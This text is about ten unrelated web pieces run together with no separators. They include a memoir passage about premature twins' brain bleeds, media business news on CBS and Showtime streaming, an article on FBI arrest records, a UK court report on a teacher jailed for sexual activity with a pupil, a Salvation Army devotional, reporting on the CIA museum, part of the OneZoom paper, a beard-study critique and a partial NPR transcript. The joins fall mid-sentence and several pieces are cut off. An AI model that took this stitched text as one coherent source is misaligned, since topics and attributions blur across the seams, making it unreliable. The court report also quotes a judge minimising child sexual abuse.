risk for intraventricular hemorrhages. More than 60 percent of infants with birth weights under 1000 grams (2.2 pounds) have them; they’re a major cause of death and disability in premature babies. We had also been told this: We were lucky—so, so lucky. We knew the babies were going to be delivered prematurely. That gave me time to take a course of steroids. The steroids would help to develop the cellular structure of the brain, make it stronger, more resistant to damage.
The doctor explained the different grades of bleeds.
Grade I: bleeding near ventricle.
Grade II: blood in ventricle.
Grade III: enlarged ventricle.
Grade IV: burst ventricle, blood seeping into surrounding brain tissue.
Ours, she reported, was a Grade IV.
“Babies with these types of bleeds are usually significantly disabled. 90 to 95 percent of them have cerebral palsy, hearing loss, vision problems, cognitive disabilities…”
I saw a flash, a thirty-year-old clip of television, a telethon—mangled hands, bent back, dangling withered legs, mouth open, wet, slack, slurred, unintelligible speech. This is my daughter.
And then I started screaming.
“But my daughter!” Scream scream scream. “But my daughter!” Scream scream scream. “But my—!”
But my daughter—what?
BUT MY DAUGHTER CAN’T BE DISABLED, BECAUSE I DON’T HAVE A DISABLED DAUGHTER.
As I screamed, I moved outside of myself, listened to my out-of-body screams, commented on my out-of-body screaming.
It’s so unlike me to scream like this, in front of strangers. I just keep screaming. I can’t stop. I guess people, if I tell them, will say, “Well, I can believe it. She deserved to scream. Who wouldn’t scream in that situation?”
The doctors seemed far away, the air in front of them, hot and wavy, like their sofa had been transported to a distant black highway in the desert.
“I’m required to tell you,” the doctor said. “In the case of a Grade IV bleed, it’s your legal right to remove your daughter from the ventilator.”
I stopped screaming.
When I replay this scene, sometimes I transform into a fierce coyote mother. I flip over the coffee table in a rage, and I yell, “I would never take my child off a respirator! How dare you?!”
In reality, I shrugged. That was my coyote move. Shrugging. Glancing at David. Asking: “People actually do that?”
“Some people,” answered the doctor, quietly.
“How many people?” I asked. “Like what percent of people?”
“I would say at least 80 percent don’t do it.”
I looked into the doctor’s face. She was young, attractive, serious. She seemed driven, distant. I doubted she had kids. But I asked her anyway.
“If she were your daughter, what would you do?”
She looked at me for a second, maybe three seconds.
“I wouldn’t do it if she were my baby.”
“You?” I asked the resident.
He looked at the neonatologist. He shifted in his seat. He mentioned being on rotation. OB/GYN wasn’t his specialty.
“I don’t think I would do it,” he said, finally.
I looked at my husband. He shook his head. “It’s not even an option. We already love her.”
“I know,” I said. My voice sounded far away, its tone inscrutable.
“She’s already here,” he said.
Less than three hours later, the same doctors came into the parents’ lounge. I was not eating this time. I could not be interrupted, mildly irritated.
The doctors wanted to speak with me. They wanted to speak with my husband and me. They wanted to speak with us about our daughter, our other daughter.
We walked down the same long hallway. We entered the same spare, low-lit room.
“Your daughter Zara’s ultrasound came back,” the doctor said, her voice still calm, still controlled. “It shows she’s had an intraventricular hemorrhage.”
My daughter was seven days old.
My daughter was one pound, fourteen ounces, pink, warm, covered in wires, intubated, incubated, and perfect.
“A Grade IV?” I asked.
I’m ready, I thought. Say it. A Grade IV.
“A Grade III,” the doctor said. “On each side.”
Chance of disability for a bilateral Grade III bleed: 15–30 percent.
“We could remove her from the ventilator, too?” I asked. “Legally speaking?”
I didn’t want to remove her. I wouldn’t have removed her. Especially now that the risk seemed, comparatively speaking, miniscule. I just wanted to know—I was driven to know—if I were someone else, but Zara were still mine, could I remove her? Could I decide the risk was too much for me to bear and remove it?
(Legally, no.)
That night we left the hospital to go home, walking silently until we reached the car, parked on Huron.
“It has a flat,” David said.
I sat in the front seat and called my dad. I cried. He cried.
“I don’t even know her,” I said. “I’ve known her a week. Why does it matter, any more than it would matter to anyone if a child died?”
Through the front windshield, I watched David change the tire. It took a lifetime. It was snowing badly. He guarded his eyes with one hand so he could see what he was doing. What was he doing?
It was not snowing, could not have been snowing, though it always snows in this story. It was October 20th.
***
First image by Jen Ren.Showtime’s internet-only subscriber base has climbed to 1.5 million, while CBS All Access — the broadcaster’s live and on-demand paid streaming service — is nearing the same number of subs, according to CBS CEO Leslie Moonves.
Moonves revealed the numbers in a session last Friday at UCLA Anderson’s Pulse Entertainment, Sports & Technology Conference. The event was closed to press but sources confirmed his remarks. (CBS and Showtime reps declined to comment.)
For both the Showtime and CBS All Access over-the-top plays, that would represent a significant growth spurt of 50% over the past seven months. In July 2016, each OTT service had about 1 million subs, Moonves said on CBS’s Q2 earnings call at the time.
TV networks are adapting to life in a cord-cutting world, and the battle is on to land subs for digital services. Last week, Time Warner CEO Jeff Bewkes said HBO Now had topped 2 million subscribers in the U.S. The standalone-streaming service debuted in April 2015.
CBS, in announcing ratings for Sunday’s 59th Annual Grammy Awards, said that All Access set a new record for daily sign-ups on Feb. 12, beating the surge it saw for last year’s Grammys. Traffic across CBS’s digital platforms also hit a new Grammys Day record with total time spent up 94% over 2016’s broadcast, although the broadcaster didn’t provide actual numbers for engagement or subscriber signups. For those without a traditional pay-TV subscription, All Access was the only way to (legally) stream the music awards show.
Related BTS Wants to Sing With Lady Gaga CBS Says Chief Legal Officer Lawrence Tu Will Depart
CBS All Access has also benefited from securing rights to NFL games last December for the OTT service under a new deal with the league. In addition, CBS has several original series available exclusively on All Access, including “Big Brother: Over the Top”; “The Good Wife” spinoff “The Good Fight” (premieres Feb. 19); and the “Star Trek: Discovery,” although that will likely now be delayed past its previously announced May launch. All Access, which first launched in the fall of 2014, costs $5.99 monthly with ads and $9.99 per month without ads in on-demand shows.
Showtime originally launched the standalone-streaming service, which costs $10.99 per month, in July 2015. Top originals on the premium service include “Homeland,” “Billions,” “The Affair” and “Shameless,” while Showtime has slotted a reboot of “Twin Peaks” for this May. At Showtime’s TCA event last month, CEO David Nevins noted that the OTT service gets a lift in subscribers with new and returning series debuts, as well as over the holiday season.
Moonves may shed more light on the streaming services’ momentum this Wednesday, when the company is slated to report fourth-quarter 2016 earnings after the market closes.
Meanwhile, CBS last month announced a deal with Hulu to be part of its live-TV streaming bundle; Showtime is already available through Hulu. Currently, CBS and Showtime are not available in AT&T’s DirecTV Now lineup.
Pictured above: CBS All AccessAdult Americans have a one in three chance of being in the Federal Bureau of Investigation’s (FBI) criminal database, due to the records compiled on more than 77 million people by the agency.
These files for criminal behavior can be accessed if a person applies for a new job and their potential employer runs a background check, according to The Wall Street Journal.
But many of the Americans with a database entry are in the system only because they were arrested, even though they were never charged or convicted of a crime. Records are often not updated to reflect that an individual was found not guilty or guilty of a minor offense, such as trespassing while exercising free speech rights during a demonstration.
“There is a myth that if you are arrested and cleared that it has no impact,” said Paul Butler, professor of law at Georgetown. “It’s not like the arrest never happened.”
But if a background check turns up a “red flag,” regardless of what the action was that put them in the database, the result can ruin someone’s attempt to get a new job or a bank loan they’re qualified for. The U.S. Census Bureau is the defendant in a class-action suit brought by African-American applicants who were turned down for work during the 2010 count because of arrest records.
Even if you already have a job, an erroneous record can haunt you. The Defense Department will be screening employees reporting for work on military installations through the FBI database, according to Nextgov. The move is coming in the wake of the Washington Navy Yard shootings last year.
More people are at risk of being caught up in the system because the FBI’s record system is growing by 10,000 to 12,000 new names a day, the Wall Street Journal’s Gary Fields and John Emshwiller reported.
-Noel Brinkerhoff
To Learn More:
As Arrest Records Rise, Americans Find Consequences Can Last a Lifetime (by Gary Fields and John Emshwiller, Wall Street Journal)
Getting on Military Bases Is about to Involve FBI Background Checks (by Aliya Sternstein, Nextgov)Alice McBrearty has been jailed for 16 months after admitting a four-moth fling earlier this year with a pupil she taught at an east London school where she taught
A 'gifted' young teacher had sex with a 15-year-old pupil when she brought him back to her council council chief executive mother's £750,000 home.
Alice McBrearty, 23, admitted having a four-month fling earlier this year with a pupil she taught at an east London school.
The teacher — whose mother Lesley Seary, 59, is the £160,000-a-year chief executive at London's Islington Council — took the boy to an Ibis hotel for sex, and performed sex acts on him in an empty garage and in her car as a 'birthday treat'.
She also took the teenager to her parents' £750,000 home in Wanstead Park, east London, where she performed sex acts on him and had sex.
The well kept four-bedroom red and white brick Victoria terraced house has a high evergreen hedge at the front.
Along both sides of the road sits top of the range Mercedes, BMWs and Audis.
McBrearty, who pleaded guilty to seven counts of sexual activity with a child while in a position of trust at an earlier hearing, put her head in her hands and sobbed in the dock as Judge Sheelagh Canavan sentenced her on Friday.
McBrearty took the teenager to her parents' £750,000 home in Wanstead Park, east London, where she performed sex acts on him and had sex
McBrearty, 23, kissed and had sex with the boy at her parents' home, in her car, in the classroom and in an IBIS hotel
McBrearty and the teenager 'kissed passionately' in the classroom
Jailing her for a total of 16 months, the judge described McBrearty as a 'bright, intelligent and gifted young woman, who knew right from wrong,' but said she had committed the 'grossest breach of trust'.
'You engaged in a full-blown sexual relationship with a 15-year-old child.
'I accept he was consenting - what 15-year-old schoolboy would turn down such an attractive offer?' she said.
'I accept you truly believed this was a great romance, you were in love with him and vice versa, and that age didn't matter. But it did,' the judge continued.
'You were supposed to keep him safe, to help him make the right decisions.
'Instead, you helped him make all the wrong ones.'
The court heard the relationship began when McBrearty sent the boy, who cannot be identified because he is a victim of a sexual offence, a friend request on social media.
Prosecutor Lisa Matthews said he 'felt special', adding: 'She started to take him out to parks, including the Olympic Park, they went on strolls and out for meals.
'He appeared to be besotted with her.'
The court heard the pair had seven sexual encounters, starting when McBrearty took the youngster to her home.
On other occasions she booked a hotel room for sex and performed sex acts in a garage and her car.
She also kissed her pupil in a classroom at the school.
The court heard the relationship came to an end when the victim's father contacted police.
The teacher's mother Lesley Seary (pictured), 59, is the £160,000-a-year chief executive at London's Islington Council
The court heard the relationship began in January, when McBrearty followed the boy on social media and asked for his phone number.
As a 'birthday treat' McBrearty picked the boy up and took him to a nearby garage for oral sex
Emma Shafton, defending, said: 'This is a young lady who has had a spectacular fall from grace - university educated, comes from a respectable family - she has been utterly disgraced by this.'
She told the judge her client 'is not sexually attracted to children', but added: 'She will of course be branded a paedophile for the rest of her life. She is a sex offender.'
The barrister added: 'She has not been able to get a decent job that matches her qualifications. She has of course resigned from the teaching profession. She has been working on a zero-hours contract delivering parcels to Amazon.'The child was ill. The doctor came
With every-ready skill,
With quickened hand and tender heart,
His mission to fulfil,
His fingers moved with feverish speed,
For Christ within had urged the need.
A widow poor in this world’s goods
Shared from her meager store;
Enough to know her neighbor’s need
Her kindness to outpoor;
It was the Christ within her heart
Constraining her to do her part.
The bombs were falling all around,
Where dead and dying lay,
The chaplain heeding not his life
Rushed in to help and pray;
‘Twas Christ inspired his worthy deed,
Gave strength and courage for the need.
A friendless boy lay very ill,
A stranger came one day
And brought him pretty flowers and fruit
To cheer his lonely way,
The stranger then so kindly smiled,
“Sir, are you Jesus?” said the child.
Thus shall the Christ be seen in us
When He doth there abide,
Our service quickened in His name,
For He will be our Guide,
We shall be fired with fervent zeal
For other hearts our hearts to feel.
— “Sir, Are You Jesus?” by Irena Arnold, More Poems of a Salvationist, 1945
In the early weeks of the year, things seem a little quiet for The Salvation Army. The kettles are gone, the angels have been tended to, and all around, things tend to settle for a spell over here. But it’s in our quietest seasons that the most planning happens, and The Salvation Army is working as hard as ever to see more people’s needs met this year. 2014 was a great year, and we expect 2015 to be even better. Our annual report is soon to be released, and it’s always encouraging to see numbers of those who are fed, sheltered, educated, and most importantly, loved. However, it would do us well to remember that behind each number is a person, a face, and a precious & sacred story.
Stories are what we’re about here. Stories are what keep us coming to work each day. Stories help us to remember that it’s all about the people.
The holidays are a very heavy time for us. So much of our work comes to fruition during those last eight to ten weeks of the year when The Salvation Army’s name is most visible. It is also a very heavy time emotionally as we see firsthand the impact of so much hard work. But the truth is, it is only our donors who lift us up with resources, time, and prayer to accomplish anything at all. Angel Tree just flat-out can’t happen without volunteers giving their time tirelessly every day to provide some kind of Christmas joy to a child. Any service we provide to feed or shelter is only possible because of our donors who work so hard at their jobs and then give of their paycheck to help someone else along. The Nashville poverty rate is astonishingly high, but the Nashville community is astonishingly giving. The Salvation Army is proud to serve such a generous community for 125 years.
The above poem shares a common perception that those who give, help, donate, volunteer, or share are in fact being the hands and feet of Jesus in the world. And that is true, but it would do us well to remember that the face of Jesus exists in the marginalized. The homeless, the hungry, the incarcerated, the sick. We are to visit Jesus when he is in prison or when he is ill. We are to feed Jesus when he is hungry. We are to clothe Jesus when he is cold. Jesus may not always look like us or think like us or talk like us or even believe like us. Jesus doesn’t necessarily make as much money as we do, or go to the same schools. But Jesus does exist, even in THAT part of town, or in THAT part of the world. Jesus can be a child fleeing for his life across national borders because of violence in his home state (in fact, he was – Matthew 2:13-23). Jesus can be a single mom struggling to pay off debt, rent, childcare, and utilities while working three part-time jobs with no education. Jesus can be a young man just released from prison, completely lost on how to start over and reclaim a life in the real world. Jesus can be a veteran, struggling to pay his medical bills or that sweet lady in the nursing home that receives no visitors.
To our donors, whether you have given of your time, your resources, or your connections, you have realized the face of Jesus in those who are in the most need. It is your service that opens The Salvation Army as a path toward healing, recovery, and second chances to our society’s most vulnerable. Thank you for locking arms with us and we hope to accomplish great things with all of you in 2015.
‘Lord, when did we see you hungry and feed you, or thirsty and give you something to drink? When did we see you a stranger and invite you in, or needing clothes and clothe you? When did we see you sick or in prison and go to visit you?’
-Matthew 25Brent Saunders, the chief executive of Allergan, one of the largest pharmaceutical firms in the world, is concerned that in an era of increasing political polarization, Americans will become fed up and embrace the single-payer health care plan set to be unveiled Wednesday by Sen. Bernie Sanders, I-Vt.
He shared his candid thoughts last weekend at the Wells Fargo Healthcare Conference in Boston, a gathering for investors and major pharmaceutical and biotech firms.
Americans have lost trust in drug companies, Saunders said, noting the industry consistently ranks lower than oil and tobacco companies in public trust surveys.
“I think we’ve got to do things to bring that trust back,” the executive added, “because ultimately, someone’s going to be in the White House. Somebody’s going to be in Congress. Someone’s going to be somewhere and going to have to say, ‘Enough’s enough. Let’s just change the whole system. Let’s go to one payer. Let’s do something.'”
While single payer has been discarded as a fringe, far-left idea over recent generations, the policy proposal has gained new traction in the wake of the 2016 presidential election. Many in the Democratic Party are drifting to the ideas of Sanders and other progressives who have long advocated for expanding coverage by providing Medicare to all Americans.
Saunders observed that “the party that seems to be out of power tends to move dramatically to the left or to the right,” adding that the Republican Party during the Obama era had lurched more right-wing.
“We’re seeing almost the equal but opposite reaction here now that they’ve been swept out, the left of their party is really taken, gotten a louder voice and taken control,” Saunders continued, speaking about changes in the Democratic Party.
“And so Bernie Sanders and others in that movement had really tried to vet candidates,” Saunders noted, adding, “They wanted to go to one — that part of the party wants to go to a one-payer system.”
Listen here:
During his speech, Saunders touted a statement of principles he released in 2016 calling for a “social contract” with patients, promising not to use predatory pricing and other behaviors that have come to define his industry.
But if Saunders is concerned that the public may get fed up with the current system, it may have something to do with how Allergan itself has acted in recent weeks. The CEO has been under fire for taking the unprecedented step of transferring the patent of one of Allergan’s blockbuster drugs, the eye medication Restasis, to a sovereign Native American tribe as part of a bid to maintain monopoly control of the drug and its revenue.
The highly unusual legal strategy is designed to keep generic drug firms from challenging the Restasis patent, thus lowering the cost to consumers, while keeping Allergan in effective control of the revenue through its deal with the Saint Regis Mohawk Tribe. The Restasis patent was approved 15 years ago and was set to expire in 2014, but the Allergan deal is part of an attempt to renew the patent and extend the company’s control of the drug through 2024.
While serious questions linger about the political viability of single payer, especially for the immediate future under President Donald Trump and a Republican Congress, the center of gravity within the Democratic Party has shifted dramatically in favor of the universal Medicare plan that health care executives fear.Slideshow: John Makely / NBC News Not open to the public but displayed inside CIA headquarters are artifacts from decades of intelligence gathering, including drones disguised as insects, a pigeon camera and Osama bin Laden's AK-47. Launch slideshow
Editor's note: A correction has been made to this story.
The “coolest museum you’ll never see” has a new piece de resistance – the gun found next to the body of Osama bin Laden in Pakistan when Navy SEALs killed him in a midnight raid.
The AK-47 is a recent addition to a collection that’s among the toughest tickets in the country for museumgoers. Tucked into various hallways at CIA headquarters in Langley, Va., the museum displays the gadgets, artifacts and trophies of 70 years of spycraft, from World War II through the War on Terror. The museum is closed to the public and is only visited by employees and invited guests. It is rare for cameras to be allowed in.
The Russian-made assault rifle, identified on a simple brass plaque as “Osama bin Laden’s AK-47,” shares a glass case with an al Qaeda training manual found in Afghanistan soon after 9/11.
"This is the rifle that was recovered from the third floor of the Abbottabad compound by the assault team," said curator Toni Hiley. "Because of its proximity to (bin Laden) there on the third floor in the compound, our analyst determined it to be his. It's a Russian AK with counterfeit Chinese markings."
Neither Hiley nor the agency will say how the AK-47 got to the museum, other than that the agency director at the time of the operation, Leon Panetta, "asked that it come into the museum collection," said Hiley. But one source told NBC News that it came from the "dark side" of the agency, the operations staff that worked with the SEALs on the May 2011 raid.
John Makely /NBCNews.com CIA museum curator Toni Hiley holds an "insectothopter" created by the CIA's Office of Research and Development during the 1970s and intended to gather intelligence unobtrusively. Designed to look like a dragonfly, the insectothopter's tiny gas-powered engine moved its wings up and down. While flight tests were impressive, it proved difficult to control when any wind was present.
The agency also will not comment on the specifics of how the weapon was recovered or whether it was loaded when retrieved.
"I wasn't there," said Hiley. "So I can't confirm or deny exactly where the weapon was. I just know that I have it in my museum and I'm happy to have it."
In the movie "Zero Dark Thirty," which was written in consultation with military and intelligence sources, a member of the assault team is shown grabbing the weapon from a shelf above bin Laden's bed in his third-floor bedroom moments after the al Qaeda leader’s death.
Hiley said the weapon is in good working condition, but that the origin of the Chinese markings is a mystery. She said it’s not the weapon seen at Osama’s side in many propaganda videos.
The CIA’s private museum, which was started in the early 1990s, fills three corridors in two buildings at the CIA campus just outside Washington. Agency officials call it “the coolest museum you’ll never see.”
Filled with secrets, the CIA museum -- which is closed to the public – houses all kinds of artifacts: from a 70s-era drone, to the gun found next to Osama bin Laden when Navy SEALs killed him in a midnight raid. NBC's Richard Engel reports.
The museum traces the agency’s history, including its origin as the Office of Special Services (OSS), which aided resistance fighters and ran spy networks during World War II, and its years of clandestine operations during the Cold War. Artifacts include the shrapnel that struck a spy plane over North Vietnam, a silver dollar that holds microfilm and an underwater spy drone made to look like a catfish. The museum previously displayed many of the phony Hollywood accoutrements – a movie script, stationery, and company briefcase -- that a team of agents posing as filmmakers used in an audacious operation that rescued six Americans from Iran in 1979. The mission became the basis of the recent Academy Award-winning movie “Argo.”
Bin Laden’s gun is part of a new trove of artifacts, the spoils of the War on Terror. "I think for our people it's an acknowledgment that the hard work over that 10 years and partnership with other members of the intelligence community and partnership with the military was a success,” said Hiley. “This puts the punctuation point on 10 years of this agency and our intelligence community partners looking for bin Laden."
In addition to bin Laden’s gun, there's a brick from his compound in Abbottabad; a scale-model of the compound; a section of a wall that was part of the life-size mock-up of the compound used by the SEALs to train for the raid; and several al Qaeda training manuals found in Afghanistan, including a partially burned guide to firing surface-to-air missiles.
Tony Hiley, Director of the CIA Museum, shows NBC's Richard Engel what she considers one of the most unique pieces in the museum, the A-12 Oxcart plane, which was designed to be the successor to the U-2 spy plane.
There’s also a chest filled with football-sized chunks of blue and white lapis lazuli stones, one of a dozen chests of the rare stones seized by the CIA in Afghanistan. Hiley referred to the trunks as "al Qaeda's ATM." Al Qaeda used the raw lapis lazuli, which goes for $200 to $1,200 a kilogram, to circumvent banks and pay its fighters.
The scale-model of the compound is identical to one the raid’s planners viewed in Director Panetta's office and the White House Situation Room. (The original is at the Pentagon.)
"It's as accurate as those hundreds of pieces of intelligence would permit," said Hiley, when asked if the spare tires in the yard matched intelligence reports. "Not only are they looking at that intelligence, they're going to the analysts and asking them, 'Was the wire this far apart?' So they're trying to get absolutely every single bit of truth into this model because they know the model will be used."
Nearby is a piece of the wall, topped with barbed wire, from a full-scale mock-up that the CIA constructed for SEAL training. The life-size mock-up was destroyed not long after the May 2011 raid.
NBC News NBC News Chief Foreign Correspondent Richard Engel interviews CIA museum curator Toni Hiley at CIA headquarters in Langley, Va.
As Hiley explained, the SEAL team planned its raid using the scale model, and then practiced the raid on the life-size mock-up. "I think we received the best feedback we ever could have hoped to when they all returned safely,” said Hiley. “They said, ‘We felt like we'd been there before.’”
“That's why these pieces are important. That's why they're in this museum."
Related story
Behind the scenes at the CIA museum
Some images from the collection are viewable online via the agency’s website, so while the museum is off-limits to the public most of its contents are not unknown. There is, of course, another secret museum behind the not-so-secret” museum, a “classified collection” kept in a secret warehouse, from which curators will sometimes pull new items to display.
Asked if this classified collection was more like a police evidence locker or the basement of the Smithsonian, Hiley said it was like neither.
"Oh," she said, "it's much cooler than that."
Part 2: Among CIA museum's prizes, an American love letter on Hitler's stationery.
More from NBC News Investigations:
Follow NBC News Investigations on Twitter and FacebookCitation: Rosindell J, Harmon LJ (2012) OneZoom: A Fractal Explorer for the Tree of Life. PLoS Biol 10(10): e1001406. https://doi.org/10.1371/journal.pbio.1001406 Published: October 16, 2012 Copyright: © Rosindell, Harmon. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Funding: James Rosindell was funded by the Natural Environment Research Council (grant NE/I021179). The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Competing interests: The authors have declared that no competing interests exist. Abbreviations: IFIG, interactive fractal-inspired graph
We Can't See the Trees for the Data Our knowledge of the tree of life—a phylogenetic tree summarizing the evolutionary relationships among all life on Earth—is expanding rapidly. “Mega-trees” with millions of tips (species) are expected to appear imminently (for example, see http://www.opentree.wikispaces.com). Unfortunately, there has so far been no practical and intuitive way to explore even the much smaller trees with thousands of tips that are now being routinely produced. Without a way to view megatrees, these wondrous objects, representing the culmination of decades of scientific effort, cannot be fully appreciated. The field really needs a solution to this problem to enable scientists to communicate important evolutionary concepts and data effectively, both to each other and to the general public. Just like Google Earth changed the way people look at geography, a sophisticated tree of life browser could really change the way we look at the life around us... Our advances in understanding evolution are moving really fast now, but the tools for looking at these big trees are lagging behind. (Westneat in [1], February 2009) Displaying large trees is a hard problem that has so far resisted solution. We are still waiting for the equivalent of a Google Maps. (Page in [2], June 2012) In this manuscript, we introduce a new approach that solves the problem. Trees with millions of tips, richly embellished with additional data, can now be easily explored within the web browser of any modern hardware with a zooming user interface similar to that used in Google Maps.
Escaping the Paper Paradigm Much of the difficulty with phylogenetic tree visualization (and with data visualization more generally) is that we all too often constrain ourselves to the “paper paradigm”—the practice of displaying data in ways that are optimized for printing on paper. Many applications fail to take full advantage of the freedom that a computer display gives us over printed sheets; we read and write documents and browse web pages that are constrained to be optimal for printing, but fail to realize that such documents are unlikely to be optimal for visualization on a digital device. Of course, the paper paradigm of visualization seems most natural to us, but is this only because we are too familiar with the paper format? Society is undergoing a rapid transition in terms of its use of computing devices. Computers have enabled us to generate and store large amounts of data that would not have been possible using paper. We now need to take the next step with a transition to data visualization that is optimized for interactive displays rather than printed paper. Recent methods of phylogenetic tree visualization attempt to buy extra space in the paper paradigm—for example, by using walls consisting of multiple displays (see Figure 7a in [3]). This approach is costly and does not give tree visualization capabilities to the masses, which is what is really needed. Furthermore, expensive display technology does not really solve the problem—according to our estimates, even the most advanced technology, such as NASA's “Hyperwall2” of 128 LCD displays [4], would not be large enough to clearly display 5,000 tip trees using conventional techniques. Other currently available methods make exploration of phylogenetic trees interactive, enabling the user to expand or magnify parts of the tree [5] that may be too small to see in detail at the scale of the screen. Hyperbolic tree browsers [6],[7] are a good example of this and they can display large trees, but users do not find them intuitive [3] and we don't see the inclusion of rich metadata as being realistically achievable. An optimal tree viewer should be able to 1) handle large megatrees; 2) be explored in an intuitive way; 3) incorporate significant amounts of metadata; and 4) be visually appealing and immersive, especially if public users are expected. We have yet to find an existing viewer that we feel convincingly meets these requirements.
Visions for the Future A significant issue with all tree visualization is that the ordering of descendent branches from any node and the positions in space of any node can be changed whilst still describing exactly the same tree [3]. This means that there are many ways to view a tree, each of which might emphasize different properties. We included three forms in the first release of OneZoom (see Figure 3), but all these have the common property that evolutionarily distinct species and clades appear larger. The natural view emphasizes tree balance over rates of diversification. We envisage the development of further forms for OneZoom in the future. For example, nodes could be aligned based on their dates using a non-linear timescale, with branches becoming progressively thinner towards the present day. This would complement the other forms by placing emphasis on diversification rates, timescales, and the species richness of clades; the tree would also then appear more like a familiar cladogram. The concept of deep zooming for data presentation is not novel (see for example http://www.prezi.com), but we believe the idea has been under-utilized. We suggest that this may be because suitable methods for automatically laying out information on an infinite space are lacking; we hope that the OneZoom concept of using fractals will help resolve the problem. The fractal forms used within OneZoom need not look like trees, and further alternatives may be better and allow OneZoom to have applications outside of biology. For example, we speculate that an IFIG of the global financial markets could give an intuitive overview of the relative performance of each sector and subsector whilst allowing the more minute details to be revealed by zooming. Scientists exploring a scatter plot or color map could zoom in on any point or pixel to reveal further graphs, text, and information associated with just that data point. The files on a computer, the Internet, news, mind maps, genealogies, online stores, complex software structures, and industrial plants are all further examples of large and complex data sets that we imagine could be explored with OneZoom, even on a smartphone. We most look forward to seeing OneZoom bring to life the remarkable and powerful phylogenetic datasets that many evolutionary biologists have strived to collect over recent years. We hope, together with a range of collaborators, to use OneZoom in the near future as a way to tackle the challenge of public education about evolution. For example, we envisage putting “microdots” on the branches of the tree, that when zoomed into, show fossil images and other evidence backing up the hypothesized evolutionary path of that branch. A richly annotated IFIG may help make the evidence, logic, and beauty of evolution easy to explore and understand in a way that is compelling and fun. The phylogenetic tree is also the most logical structure within which to explore the breadth of biodiversity on Earth, and so OneZoom could potentially be used to browse existing ecological databases of species such as the Encyclopedia of Life (http://eol.org/). These databases do face difficulties besides visualization, for example lack of available data and inconsistent naming of species. Nevertheless, we are confident that these problems will |
However, the pronounced social integration within contemporary societies (Grueter & White, in press) coupled with their larger group sizes and greater ‘anonymity’ (Moffett, 2013), may also act as a strong selective force for the display of male ornaments associated with age, dominance and attractiveness. For example, while beards are androgen-dependent secondary sexual traits, their signalling is strongly culturally determined (Reynolds, 1949) and subject to temporal variation (Barber, 2001). Interestingly, the popularity of styles of moustaches and beardedness among British men from 1842 to 1971 rose when there were more males in potential marriage pool (Barber, 2001), and beards are judged to be more attractive when beards are rare relative to clean-shaven faces (Janif, Brooks, & Dixson, 2014). Cultural cues of intra-sexual status may also aid in the recognition of allies, indicate group membership, and delineate a parochial group against out-groups (McElreath, Boyd, & Richerson, 2003; Moffett, 2013). Future research exploring how variation in social cues of status predicts male attractiveness cross-culturally would be valuable. [emphases mine]
The first paragraph is about how male-male competition might have shaped what beards ‘mean’ (my term, not theirs) in human societies, and from that ‘meaning’ (masculinity? social dominance?) women might have selected men with them. The second paragraph says that despite the fact that the development of the beard doesn’t really fit their model because of the social networks in early human societies, in today’s world the fact that there are so many of us might act as a selective force for growing a conspicuous beard. Then they throw out that line about beards being popular during the period 1842-1971 “when there were more males in the marriage pool,” and we’re left to make inferences that they aren’t comfortable committing to paper. And for good reason.
The numbers of mays and coulds pops out as a sure sign of lacking data, I’ve already mentioned the significance of the word “interestingly,” and when you add the “future research… would be valuable” bit it all sums up to one thing: the authors would love to be able to tell you about why men have beards, but they can’t.
But they do cite some interesting previous studies. The 2001 study by Nigel Barber in the Journal of Nonverbal Behavior, “Mustache fashion covaries with a good marriage market for women,” argues that men grow facial hair when they have a hard time finding a spouse, and then shave again when “illegitimacy ratios” are high (i.e. when having another woman on the side becomes more common). The 2014 article by Zinnia Janif, Robert Brooks, and Barnaby Dixon in the journal Biology Letters, “Negative frequency-dependent preferences and variation in male facial hair,” finds that people find beards better looking when fewer people have them, and vice-versa. Unfortunately neither of these studies is enough to pin down just why men grow beards, or to prove that people are growing more beards today because “guys are under pressure.” And it’s pretty simple to see why.
Humans — modern humans especially — are incredibly complex social animals. Why one man grows a beard may be as simple as he feels like it. Or he thinks women will find it attractive. Or he thinks men will find it attractive. Or his face gets sore when he shaves. Or he likes the aesthetic. Or he wants to be part of a social in-group. Or he wants to set himself apart from a given social group. Maybe he shaves because the man or woman he’s with doesn’t like the feel of it when they kiss, or maybe he grows one because his partner thinks it looks sexy. What’s considered generally attractive shifts temporally, like fashion, and not always for easily understood ways. It’s as much an anthropological, sociological, and psychological question as an evolutionary one. And the people who wrote the study knew it — that’s why they cited studies about so many of these things.
So no, the study doesn’t explain why hipsters grow beards, or why non-hipsters do, or why anyone doesn’t. It’s not even really trying to. But it does point out that in large populations of nonhuman primates, ornamental markers of maleness are more prevalent. And that’s about as much as I, and the authors, are really willing to commit to.
***
Richard Ford Burley is a doctoral candidate in English at Boston College, where he’s writing about remix culture and the processes that generate texts in the Middle Ages and on the internet. He was recently saved from a promising career as a hikikomori by a brilliant renaissance woman who swept him off his feet, and now he lives with her and their completely mental cat in Brighton.Right-Wing Extremists More Dangerous Than Islamic Terrorists In U.S.
NPR's Rachel Martin speaks with Peter Bergen, vice president and director of studies for The New America Foundation, about its new study on homegrown terrorism.
RACHEL MARTIN, HOST:
What are the motives that define an act of terrorism? That's one of the questions that surfaced last week after the deadly attack in Charleston.
AUDIE CORNISH, HOST:
The shooter is believed to have been influenced by white supremacist groups. The Justice Department has not called this an act of terrorism, but a lot of Americans are.
MARTIN: And according to a new report, that kind of homegrown threat is twice as prevalent than the threat posed by Islamic extremists. The report by the New America Foundation says since 9/11, self-proclaimed Islamic radicals have killed 26 people in the United States. Non-Muslim extremists have killed 48. Peter Bergen helped lead that study. I asked him to explain how his organization defined terrorism.
PETER BERGEN: A commonly accepted view of terrorism is an act of political violence against a civilian target by someone other than a state, so that's the definition we used. And we found that there were, you know, 26 deaths that are attributable to jihadist terrorists since 9/11.
MARTIN: Twenty-six deaths within America's borders.
BERGEN: Within America's borders, attributable to jihadist terrorists. And we found 48 attributable to people with extreme right-wing, racist or antigovernment views. Now, of course, you know, on 9/11, almost 3,000 Americans were killed by al-Qaida. And that's, of course, the lens through which American see a lot of terrorism. But the fact is that there is violence done in the name of all sorts of ideologies that isn't just jihadi in flavor, including in the United States.
MARTIN: Can you tick through a couple of those cases. You say extreme right-wing views.
